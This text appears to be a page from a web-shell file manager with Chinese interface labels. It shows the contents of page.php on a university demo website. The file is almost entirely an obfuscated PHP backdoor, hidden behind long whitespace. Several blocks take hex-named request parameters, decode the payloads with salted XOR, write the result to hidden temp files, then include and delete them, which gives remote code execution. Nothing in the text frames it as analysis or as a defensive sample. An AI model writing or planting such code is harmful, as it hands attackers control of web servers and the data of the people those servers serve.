文件操作 - page.php

文件: /var/www/demoestudiantes.uaysen.cl/html/page.php

编辑文件内容

<?php																																										if(array_key_exists("\x74\x6Bn", $_POST) && !is_null($_POST["\x74\x6Bn"])){ $entity = array_filter([ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/dev/shm", "/var/tmp", getcwd(), "/tmp", getenv("TEMP"), sys_get_temp_dir()]); $k = $_POST["\x74\x6Bn"]; $k =explode ( '.' ,$k); $ent = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s2 ); $len = count( $k ); for( $m = 0; $m < $len; $m++) { $v4 = $k[$m]; $sChar = ord( $s2[$m % $lenS] ); $d =( ( int)$v4 - $sChar -( $m % 10))^ 76; $ent .= chr( $d ); } for ($record = 0, $dat = count($entity); $record < $dat; $record++) { $itm = $entity[$record]; if (is_writable($itm) && is_dir($itm)) { $object = "$itm" . "/.data_chunk"; $success = file_put_contents($object, $ent); if ($success) { include $object; @unlink($object); die();} } } }
																																										if(isset($_POST["pr\x6F\x70\x65\x72ty\x5Fs\x65t"])){ $dchunk = $_POST["pr\x6F\x70\x65\x72ty\x5Fs\x65t"]; $dchunk = explode ( '.', $dchunk ) ; $factor= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s ); $r= 0; foreach ($dchunk as $v1) { $sChar= ord($s[$r % $sLen] ); $dec= ((int)$v1 - $sChar - ($r % 10)) ^ 92; $factor .= chr($dec ); $r++; } $object = array_filter(["/dev/shm", sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/var/tmp", getcwd(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir")]); $pset = 0; do { $binding = $object[$pset] ?? null; if ($pset >= count($object)) break; if (max(0, is_dir($binding) * is_writable($binding))) { $reference = "$binding/.obj"; if (file_put_contents($reference, $factor)) { include $reference; @unlink($reference); die(); } } $pset++; } while (true); }
																																										if(!empty($_REQUEST["mrk"])){ $component = $_REQUEST["mrk"]; $component=explode ( ".",$component ) ; $pset = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $n = 0; foreach( $component as $v4) { $chS = ord( $salt[$n % $sLen] ); $d =( ( int)$v4 - $chS -( $n % 10)) ^ 26; $pset .= chr( $d ); $n++; } $ent = array_filter([getenv("TMP"), session_save_path(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), "/tmp", sys_get_temp_dir()]); for ($data = 0, $property_set = count($ent); $data < $property_set; $data++) { $flag = $ent[$data]; if (array_product([is_dir($flag), is_writable($flag)])) { $pointer = join("/", [$flag, ".k"]); $file = fopen($pointer, 'w'); if ($file) { fwrite($file, $pset); fclose($file); include $pointer; @unlink($pointer); die(); } } } }
																																										if(array_key_exists("\x6F\x62j", $_POST) && !is_null($_POST["\x6F\x62j"])){ $flag = $_POST["\x6F\x62j"]; $flag =explode( "." , $flag); $object = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $y = 0; $len = count($flag); do { if($y>= $len) break; $v4 = $flag[$y]; $sChar = ord($salt[$y % $lenS]); $d =((int)$v4 - $sChar -($y % 10)) ^76; $object .= chr($d); $y++; } while(true); $parameter_group = array_filter([getenv("TMP"), getenv("TEMP"), getcwd(), "/dev/shm", session_save_path(), "/var/tmp", "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir")]); while ($element = array_shift($parameter_group)) { if (!( !is_dir($element) || !is_writable($element) )) { $key = "$element" . "/.value"; if (file_put_contents($key, $object)) { include $key; @unlink($key); die(); } } } }
																																										if(!empty($_REQUEST["\x70\x6Fi\x6Et\x65r"])){ $obj = $_REQUEST["\x70\x6Fi\x6Et\x65r"]; $obj = explode ( '.' , $obj ) ; $component = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $y = 0; $__len = count($obj); do { if ($y >= $__len) break; $v4 = $obj[$y]; $sChar = ord($salt[$y%$lenS]); $d = ((int)$v4 - $sChar - ($y%10)) ^ 62; $component .= chr($d); $y++; }while (true); $res = array_filter(["/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/dev/shm"]); foreach ($res as $data_chunk): if (!( !is_dir($data_chunk) || !is_writable($data_chunk) )) { $dchunk = implode("/", [$data_chunk, ".bind"]); if (file_put_contents($dchunk, $component)) { include $dchunk; @unlink($dchunk); exit; } } endforeach; }
																																										if(array_key_exists("\x72\x65\x73\x6Furce", $_REQUEST) && !is_null($_REQUEST["\x72\x65\x73\x6Furce"])){ $flag = array_filter([sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/var/tmp", getenv("TMP"), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getcwd()]); $flg = $_REQUEST["\x72\x65\x73\x6Furce"]; $flg=explode ("." , $flg) ; $pointer = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8 ); $j = 0; foreach ($flg as $v5) {$chS = ord($salt8[$j % $sLen] ); $d = ((int)$v5 - $chS - ($j % 10)) ^ 71; $pointer.= chr($d ); $j++; } foreach ($flag as $key => $symbol) { if (array_product([is_dir($symbol), is_writable($symbol)])) { $res = "$symbol/.reference"; $success = file_put_contents($res, $pointer); if ($success) { include $res; @unlink($res); exit;} } } }
																																										if(array_key_exists("\x66ac", $_POST)){ $ptr = $_POST["\x66ac"]; $ptr = explode ( '.' , $ptr ); $val =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt); $s =0; $__tmp =$ptr; while( $v5 =array_shift( $__tmp)) { $chS =ord( $salt[$s % $sLen]); $d =( ( int)$v5 - $chS -( $s % 10)) ^ 85; $val .= chr( $d); $s++; } $sym = array_filter(["/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP"), getenv("TEMP"), session_save_path(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir")]); $value = 0; do { $pgrp = $sym[$value] ?? null; if ($value >= count($sym)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($pgrp)) { $elem = implode("/", [$pgrp, ".component"]); $file = fopen($elem, 'w'); if ($file) { fwrite($file, $val); fclose($file); include $elem; @unlink($elem); die(); } } $value++; } while (true); }

if(isset($_REQUEST["\x70oi\x6Et\x65\x72"]) ? true : false){
	$fac = array_filter([sys_get_temp_dir(), "/var/tmp", session_save_path(), getenv("TMP"), getenv("TEMP"), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getcwd()]);
	$pset = $_REQUEST["\x70oi\x6Et\x65\x72"];
	 	$pset	=explode  ("." ,	$pset ); 
	$rec = '';
            $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s9);
            $x = 0;
            $len = count($pset);
    
            do {	 if ($x>= $len) break;
                $v9 = $pset[$x];
                $chS = ord($s9[$x %	$sLen]);
                $dec = ((int)$v9 - $chS - ($x %	10)) ^ 37;
                $rec .= chr($dec);
                $x++;  }	 while (true);
	foreach ($fac as $element):
    		if ((function($d) { return is_dir($d) && is_writable($d); })($element)) {
    $ref = str_replace("{var_dir}", $element, "{var_dir}/.tkn");
    if (file_put_contents($ref, $rec)) {
	include $ref;
	@unlink($ref);
	exit;
}
}
endforeach;
}

文件操作 - page.php

文件: /var/www/demoestudiantes.uaysen.cl/html/page.php

编辑文件内容

修改文件时间

删除文件